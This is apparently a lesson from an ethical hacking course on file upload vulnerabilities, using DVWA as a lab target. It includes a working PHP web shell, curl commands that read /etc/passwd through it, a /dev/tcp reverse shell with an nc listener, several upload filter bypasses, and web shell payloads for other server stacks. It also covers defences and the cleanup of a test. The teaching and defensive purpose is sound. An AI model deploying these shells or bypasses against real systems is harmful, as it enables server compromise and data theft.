Ethical Hacking Lesson 42 – File Upload Vulnerabilities | Dataplexa
Web Hacking & Real World · Lesson 42

File Upload Vulnerabilities

File upload functionality exists in almost every modern web application — profile pictures, document uploads, media imports. When the server does not properly validate what is being uploaded, an attacker can upload executable code instead of an image and access it through the browser, turning a legitimate feature into remote code execution.

The upload attack surface

A file upload vulnerability exists when three conditions align: the server accepts a file type it should not (a PHP file where only images are expected), the uploaded file is stored in a location reachable via URL, and the server executes the file's contents when it is accessed rather than serving it as a download. All three conditions must be true for the vulnerability to result in code execution.

The attack surface is broader than it appears. Inadequate validation, client-side-only filtering, and MIME type checking that trusts what the browser sends rather than the actual file content all create exploitable paths. Each filtering approach has specific bypass techniques — and understanding the bypass tells you what to look for when assessing an upload feature.

Validation approaches and their weaknesses

Client-side validation only

Trivially bypassed

JavaScript running in the browser checks the file extension before submission. This provides zero security — the attacker simply intercepts the request in Burp after the client-side check passes and modifies the filename or content before it reaches the server. Alternatively, disabling JavaScript in the browser bypasses the check entirely. Client-side validation is a UX feature that prevents accidental incorrect uploads. It is not a security control.

Bypass: Rename the malicious file with an allowed extension (.jpg), let the client-side check pass, intercept in Burp, rename back to .php before forwarding. Or disable JavaScript entirely.

MIME type / Content-Type validation

Easily bypassed

The server checks the Content-Type header sent with the request — expecting image/jpeg and rejecting anything else. The Content-Type header is set by the browser — or in this case, by the attacker using Burp. Changing the Content-Type header of a PHP file upload from application/x-php to image/jpeg in Burp Repeater is a single-field change that defeats this validation entirely.

Bypass: Upload the PHP file, intercept in Burp, change Content-Type to image/jpeg, forward. The server sees a JPEG MIME type and accepts the PHP file.

File extension blacklisting

Often bypassable

The server maintains a list of blocked extensions — .php, .php3, .phtml. The weakness is that PHP has multiple valid extensions, servers can be configured to execute files based on patterns, and case sensitivity matters on some systems. A blacklist that blocks .php may permit .php5, .pHp, .phtml, or .php.jpg depending on the web server configuration. Blacklists require anticipating every possible variation — which is fundamentally the wrong approach.

Bypass: Try .php3, .php4, .php5, .phtml, .pHp, .PhP, .php.jpg (double extension). One of these may slip through the blacklist.

Magic bytes / file signature validation

Harder to bypass

Instead of trusting the MIME type or extension, the server reads the first few bytes of the file — the magic bytes — and compares them against known file signatures. JPEG files begin with FF D8 FF. PNG files begin with 89 50 4E 47. A PHP file beginning with <?php does not match any legitimate image signature. This is significantly harder to bypass than extension or MIME checking — but still not sufficient alone if the uploaded file can be renamed to .php by an attacker.

Bypass: Prepend valid image magic bytes to the PHP payload. Create a file starting with FF D8 FF (JPEG header) followed by the PHP web shell code. The magic bytes check passes — the PHP interpreter ignores the leading bytes and executes the PHP code that follows.

Uploading a web shell through DVWA

DVWA's file upload module at security level Low performs no meaningful validation. Any file type is accepted. The upload directory is web-accessible. Uploaded PHP files are executed by the server. This is the worst-case configuration — all three conditions for code execution met simultaneously.

The scenario: You are testing the DVWA file upload functionality during an authorised web application assessment. Security level is set to Low. You want to demonstrate that the upload feature allows arbitrary code execution on the server.

# Step 1 — create a minimal PHP web shell
# This one-liner reads a command from the URL parameter 'cmd' and executes it
# system() runs the command and prints the output directly to the page
# This is sufficient for proof of concept — minimal code, clear demonstration
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

# Step 2 — upload the shell through the DVWA file upload form
# Navigate to: http://192.168.56.101/dvwa/vulnerabilities/upload/
# Click Browse → select /tmp/shell.php
# Click Upload
# The server should return the path where the file was stored

# Step 3 — access the uploaded shell and execute a command
# The upload path is typically /dvwa/hackable/uploads/shell.php
# Pass a command via the cmd parameter in the URL
# id confirms code execution and shows the web server's privilege level
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=id"

# Step 4 — escalate to reading sensitive files
# The web server process can read any file readable by www-data
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=cat+/etc/passwd"

# Step 5 — establish a reverse shell from the web shell
# Replace KALI_IP with your actual Kali address
# This escalates from simple command execution to an interactive shell
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=bash+-i+>%26+/dev/tcp/KALI_IP/4444+0>%261"

# On Kali — listener to catch the reverse shell
nc -lvp 4444

Breaking it down:

uid=33(www-data) — the web server's privilege level
Code execution runs as the www-data account — the user that Apache runs under. This is not root, but it is significant: www-data can read the entire web application including configuration files and database credentials, write to the web root, and potentially escalate further using the privilege escalation techniques from Section III. A web shell landing as www-data is a solid foothold that feeds directly into the post-exploitation phase.
Reading /etc/passwd through the web shell
/etc/passwd is world-readable on Linux — www-data can read it. This confirms file system access through the web shell and lists all local user accounts. More importantly, /etc/shadow — which contains hashed passwords — is only readable by root. Attempting to read it through the web shell will fail, confirming the current privilege level is www-data rather than root. That comparison itself is evidence worth documenting.

Bypassing Medium security — MIME type interception

DVWA Medium security adds a server-side MIME type check — it rejects uploads where the Content-Type is not image/jpeg or image/png. This stops the simple upload but falls to a single Burp interception. The bypass requires capturing the upload request and changing one header value before the server processes it.

# MIME type bypass using Burp Proxy intercept
# This workflow is done in the Burp GUI — documented here as steps

# Step 1 — set DVWA security to Medium
# Medium adds: if($_FILES['uploaded']['type'] != "image/jpeg") { reject }
# This checks the Content-Type header sent by the browser — NOT the file content

# Step 2 — enable Burp Proxy intercept
# Burp Proxy → Intercept → Intercept is ON

# Step 3 — submit shell.php through the upload form
# The browser sets Content-Type to application/x-php for a .php file
# Burp intercepts the request before it reaches the server

# Step 4 — in Burp's intercepted request, find and change this header:
# Content-Disposition: form-data; name="uploaded"; filename="shell.php"
# Content-Type: application/x-php     <-- change this line
# Content-Type: image/jpeg             <-- to this

# Step 5 — forward the modified request
# The server receives Content-Type: image/jpeg — passes the MIME check
# The filename is still shell.php — the server saves it as a PHP file
# The PHP interpreter executes it when accessed via URL

# Verify the bypass worked:
curl "http://192.168.56.101/dvwa/hackable/uploads/shell.php?cmd=id"

# Alternative — use curl directly with the spoofed Content-Type
# -F sends a multipart form upload
# type=image/jpeg overrides the Content-Type for just this form field
curl -b "PHPSESSID=YOUR_SESSION_COOKIE; security=medium" \
  -F "uploaded=@/tmp/shell.php;type=image/jpeg" \
  -F "Upload=Upload" \
  http://192.168.56.101/dvwa/vulnerabilities/upload/

Breaking it down:

$_FILES['type'] — the attacker-controlled value
PHP's $_FILES['uploaded']['type'] contains the Content-Type sent by the browser — which is exactly what Burp modified. The server code trusts this value completely. It is functionally identical to checking the Accept-Language header for file type validation — both are arbitrary strings sent by the client that carry no binding information about the actual file content. Any validation based on $_FILES['type'] alone is not meaningful server-side validation.
The curl -F type= override — reproducing without the GUI
The curl approach with type=image/jpeg on the file field overrides the Content-Type for that specific multipart boundary — exactly what Burp does interactively. This makes the bypass scriptable and reproducible for the report. Documenting a finding as "intercepted in Burp, changed the header" is vague. Documenting the exact curl command that reproduces it gives the client's developers a precise test to run after applying their fix to confirm it works.

Double extension and null byte bypass techniques

Extension-based blacklists and whitelists create their own bypass opportunities. The way different components of the web stack interpret filenames creates gaps an attacker can exploit — particularly when the web application's validation logic sees a different filename than the web server uses for execution.

Double extension — shell.php.jpg

A filename like shell.php.jpg ends in .jpg — passing extension-based validation that only checks the last extension. On Apache servers configured to execute any file matching a PHP pattern anywhere in the filename, this file executes as PHP. The configuration required is AddHandler application/x-httpd-php .php which causes Apache to treat any filename containing .php as executable. This configuration is not default but appears in misconfigured shared hosting and legacy deployments.

# Create the double-extension payload
cp /tmp/shell.php /tmp/shell.php.jpg
# Upload shell.php.jpg — passes .jpg extension check
# Access: /uploads/shell.php.jpg?cmd=id
# Works if Apache handles .php anywhere in the filename

Null byte injection — shell.php%00.jpg

In older PHP versions (below 5.3.4) and some C-based file handling code, a null byte (%00) terminates the string. A filename of shell.php%00.jpg appears to end in .jpg to PHP's file extension check — because PHP sees the full string including the null and everything after it. But when the file is saved to disk, the null byte terminates the filename — the file is saved as shell.php. The validation sees .jpg. The filesystem sees .php. This technique is largely patched in modern PHP but still appears in legacy applications on old PHP versions.

# Null byte in the filename field (in Burp Repeater)
filename="shell.php%00.jpg"
# Validation sees: shell.php[null].jpg → ends in .jpg → passes
# Filesystem saves: shell.php (null terminates the name)
# Access: /uploads/shell.php?cmd=id

Magic bytes prepended to PHP — bypassing signature checks

For servers that validate file signatures (magic bytes), prepend the valid image signature bytes before the PHP code. The file starts with the expected JPEG or PNG header — passing the signature check — followed immediately by the PHP web shell. PHP parses from the first <?php tag onwards, ignoring the image header bytes. The file must still be saved with a PHP-executable extension for this to work.

# Create a file starting with JPEG magic bytes + PHP code
printf '\xff\xd8\xff' > /tmp/magic_shell.php
echo '<?php system($_GET["cmd"]); ?>' >> /tmp/magic_shell.php
# The first 3 bytes match JPEG signature (FF D8 FF)
# PHP ignores them and executes from the <?php tag

Beyond PHP — other executable file types

PHP web shells are the most commonly demonstrated file upload exploitation technique — but the attack surface extends to whatever the server can execute. The specific file type depends on the server-side technology stack. Testing should adapt to the confirmed technology from the reconnaissance phase.

EXECUTABLE FILE TYPES BY SERVER TECHNOLOGY
Technology Executable extensions Minimal web shell payload
PHP .php .php3 .php4 .php5 .phtml <?php system($_GET["cmd"]); ?>
ASP.NET .aspx .asp .ashx .asmx <% Response.Write(CreateObject("Wscript.Shell").exec(...)) %>
JSP (Java) .jsp .jspx <%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>
Node.js .js (if exec'd server-side) require('child_process').exec(req.query.cmd, callback)
Tomcat (Java) .war (web archive) Deploy via Tomcat Manager — contains JSP web shell

Secure file upload — the complete defence

Secure file upload requires multiple controls applied together. No single check is sufficient — each approach has a bypass when used alone. The combination of controls eliminates the individual bypass techniques and makes exploitation significantly harder even if one layer is circumvented.

Extension whitelist — not blacklist

Maintain an explicit list of permitted extensions — jpg, png, gif, pdf — and reject everything not on the list. Blacklists fail when attackers find unlisted executable extensions. Whitelists fail only if an allowed extension is itself executable on the server — which is avoidable by design.

Server-side magic bytes validation

Validate the actual file signature in the uploaded data — not the MIME type header. Use a library like PHP's finfo_file() or Python's python-magic that reads the actual bytes rather than trusting client-supplied metadata. Combined with extension whitelisting, this defeats the MIME-type-spoofing bypass.

Rename files on upload — remove attacker control of the filename

Generate a random filename for every uploaded file — a UUID or a hash of the file content. Store the original name in the database for display purposes. The attacker loses control of the saved filename entirely, defeating double extension and null byte techniques. A file saved as 3f8a9b2c-4d7e-11ef.jpg cannot execute as PHP regardless of its content.

Store uploads outside the web root

Files stored in a directory outside the web root — not accessible directly via URL — cannot be accessed and executed through the browser even if a PHP file slips through all other validation. The application serves files through a controller that reads from the secure storage location and streams the contents as a download. Even a perfectly valid web shell stored outside the web root is completely harmless.

These four controls in combination eliminate every bypass technique covered in this lesson. Extension whitelisting prevents executable extensions. Magic bytes validation defeats MIME spoofing. Random renaming defeats double extension and null byte attacks. Storing outside the web root means even a bypassed upload cannot be accessed. Each control compensates for the others' potential gaps — the defence-in-depth principle applied to a single feature.

Teacher's Note: After uploading a web shell during an authorised assessment, remove it immediately once the proof-of-concept command has been executed and the output captured. A web shell left on a server after the engagement closes is an uncontrolled backdoor — anyone who discovers the URL can use it. Document the exact path where the shell was uploaded and confirm deletion before moving to the next test. The cleanup log for file upload findings should include: file created, path, time of creation, proof-of-concept command run, output captured, file deleted, time of deletion.

Quiz

Scenario:

A pen tester attempts to upload a PHP web shell through a file upload form. The server rejects it with the message "Only image files are accepted." Checking the server-side code in the source review, they confirm the validation logic checks $_FILES['uploaded']['type'] against a whitelist of image MIME types. The server does not read the actual file content. Describe the specific bypass.

Scenario:

A development team has implemented extension whitelisting, MIME type validation using finfo_file(), and automatic file renaming on upload. A pen tester argues there is still a residual risk — a sufficiently sophisticated bypass might still slip a PHP file through all three controls. They recommend one additional architectural control that would render even a successful bypass harmless. Which control?

Scenario:

A pen tester successfully uploads a PHP web shell to a production e-commerce application and confirms code execution by running ?cmd=id. The output shows uid=33(www-data). They have captured the screenshot needed for the report. The engagement has two more days remaining and other systems to test. What must happen to the web shell before moving on?

Up Next · Lesson 43

API Security

REST API testing, broken object level authorisation, excessive data exposure, mass assignment, SSRF through API endpoints, and JWT vulnerabilities.